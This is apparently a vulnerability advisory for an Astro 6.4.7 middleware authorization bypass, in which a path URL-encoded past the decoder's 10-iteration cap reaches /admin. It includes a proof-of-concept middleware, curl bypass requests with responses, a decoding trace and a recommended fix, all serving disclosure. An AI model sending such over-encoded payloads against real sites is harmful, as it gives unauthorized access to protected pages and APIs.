Astro: Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Astro 6.4.7 Authorization Bypass via Decode Iteration Limit and Rewrite Path Canonicalization Mismatch

Summary

Astro 6.4.7 appears to reintroduce a middleware authorization bypass pattern when a request path is encoded more deeply than the newly introduced iterative URL decoder's maximum decoding depth.

The issue occurs because Astro performs authorization decisions on a partially decoded pathname after reaching a decoding iteration cap, while later route matching logic performs an additional decodeURI() operation and resolves the request to a protected route.

As a result, middleware and route matching may operate on different pathname representations, enabling authorization bypasses under specific application patterns.

Potential CWE: CWE-647 – Use of Non-Canonical URL Paths for Authorization Decisions

Vulnerable Pattern

Middleware authorization sees:

/%61dmin

Later rewrite route matching sees:

/admin

This discrepancy allows a request that bypasses middleware checks to subsequently resolve to a protected route.

Root Cause

Iterative Decoding Logic

PR #16967 introduced iterative URI decoding:

let iterations = 0;

while (decoded !== pathname && iterations < 10) {
	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		// decodeURI can fail when a decoded literal '%' forms an
		// invalid sequence with adjacent characters.
		break;
	}

	iterations++;
}

return decoded;

The intent was to ensure middleware receives a fully decoded canonical pathname.

However, once the iteration cap is reached, Astro returns the partially decoded value instead of rejecting the request.

Rewrite Route Matching

Later, Astro performs another decode during route matching:

const decodedPathname = decodeURI(pathname);

Consequently:

Middleware pathname: /%61dmin
Route matcher:       /admin

This creates a canonicalization mismatch between authorization logic and routing logic.

Proof of Concept

Middleware

import { defineMiddleware } from 'astro:middleware';

export const onRequest = defineMiddleware(async (context, next) => {
	const pathname = context.url.pathname;

	if (pathname === '/admin' || pathname.startsWith('/admin/')) {
		return new Response(
			'403 Forbidden: middleware blocked canonical /admin',
			{
				status: 403,
				headers: {
					'content-type': 'text/plain;charset=UTF-8',
					'x-middleware-pathname': pathname,
				},
			}
		);
	}

	if (pathname !== '/') {
		const response = await next(context.url);

		response.headers.set('x-middleware-pathname', pathname);
		response.headers.set(
			'x-vuln-pattern',
			'next(context.url) rewrite after pathname check'
		);

		return response;
	}

	return next();
});

The critical pattern is:

return next(context.url);

The middleware makes an authorization decision using a non-canonical path and then forwards the URL into Astro's rewrite machinery.

Reproduction

Protected Route

curl -i http://127.0.0.1:8989/admin

Response:

HTTP/1.1 403 Forbidden
x-middleware-pathname: /admin

403 Forbidden: middleware blocked canonical /admin

Bypass Request

curl -i http://127.0.0.1:8989/%252525252525252525252561dmin

Response:

HTTP/1.1 200 OK
x-middleware-pathname: /%61dmin
x-vuln-pattern: next(context.url) rewrite after pathname check

Admin page reached
Protected content rendered after rewrite route matching.
request url: http://127.0.0.1:8989/%61dmin

This demonstrates:

Middleware saw: /%61dmin
Router reached: /admin

Encoding Depth Analysis

The bypass occurs at encoding depth 11.

Decoder Trace

depth 0:  /%61dmin                              -> /admin
depth 1:  /%2561dmin                            -> /admin
depth 2:  /%252561dmin                          -> /admin
depth 3:  /%25252561dmin                        -> /admin
depth 4:  /%2525252561dmin                      -> /admin
depth 5:  /%252525252561dmin                    -> /admin
depth 6:  /%25252525252561dmin                  -> /admin
depth 7:  /%2525252525252561dmin                -> /admin
depth 8:  /%252525252525252561dmin              -> /admin
depth 9:  /%25252525252525252561dmin            -> /admin
depth 10: /%2525252525252525252561dmin          -> /admin
depth 11: /%252525252525252525252561dmin        -> /%61dmin

Depths 0–10 are fully decoded and blocked by middleware.

Depth 11 is the first depth where Astro returns a partially decoded pathname due to the iteration limit.

A later decodeURI() converts:

/%61dmin

into:

/admin

allowing route matching to reach the protected endpoint.

Exploit Preconditions

Exploitation requires:

1. Path-Based Authorization

Middleware performs authorization using:

context.url.pathname

For example:

if (context.url.pathname === '/admin') {
	block();
}

2. Rewrite-Based Routing

The request is subsequently passed into Astro routing via:

next(context.url)

or equivalent rewrite behavior that performs route matching after middleware execution.

Impact

An unauthenticated attacker may bypass middleware protections guarding routes such as:

/admin
/api/admin
/internal
/dashboard

if the application:

1. Relies on pathname-based authorization checks.
2. Uses rewrite behavior that performs route matching after middleware execution.

Affected applications may expose protected pages or APIs despite middleware restrictions.

Security Analysis

The issue belongs to the same vulnerability class as the previously disclosed Astro middleware encoding bypass.

Previous advisories demonstrated bypasses using:

/%2561dmin

to reach:

/admin

The 6.4.7 fix attempted to ensure middleware receives a canonical pathname by repeatedly decoding URL-encoded paths.

However, because decoding is capped at 10 iterations and partially decoded paths are returned, an attacker can simply increase encoding depth beyond the cap and recreate the authorization-routing mismatch.

The existence of a decoding limit is not itself problematic.

The vulnerability arises because Astro:

1. Stops decoding.
2. Returns a partially canonicalized pathname.
3. Performs additional decoding later during route matching.

Authorization and routing therefore operate on different pathname representations.

Recommended Fix

Do not return partially decoded pathnames when the iteration limit is exceeded.

Instead, reject the request whenever decoding has not stabilized before reaching the cap.

Example Fix

let iterations = 0;

while (decoded !== pathname) {
	if (iterations >= 10) {
		throw new Error('URL encoding depth exceeded');
	}

	pathname = decoded;

	try {
		decoded = decodeURI(pathname);
	} catch {
		break;
	}

	iterations++;
}

return decoded;

Additional Hardening

Astro should centralize pathname canonicalization and ensure routing logic never performs an additional independent decodeURI() on values that have already been normalized.

Authorization and route matching must operate on the exact same canonical pathname representation.

Conclusion

Astro 6.4.7 appears vulnerable to an authorization bypass caused by a pathname canonicalization mismatch introduced by the iterative decoding limit.

When URL encoding depth exceeds the decoder's maximum iteration count, middleware receives a partially decoded pathname while later route matching performs additional decoding and resolves the request to a protected route.

This can allow unauthorized access to routes protected by pathname-based middleware authorization and should be addressed by rejecting over-encoded paths or ensuring a single canonical pathname representation is used throughout request processing.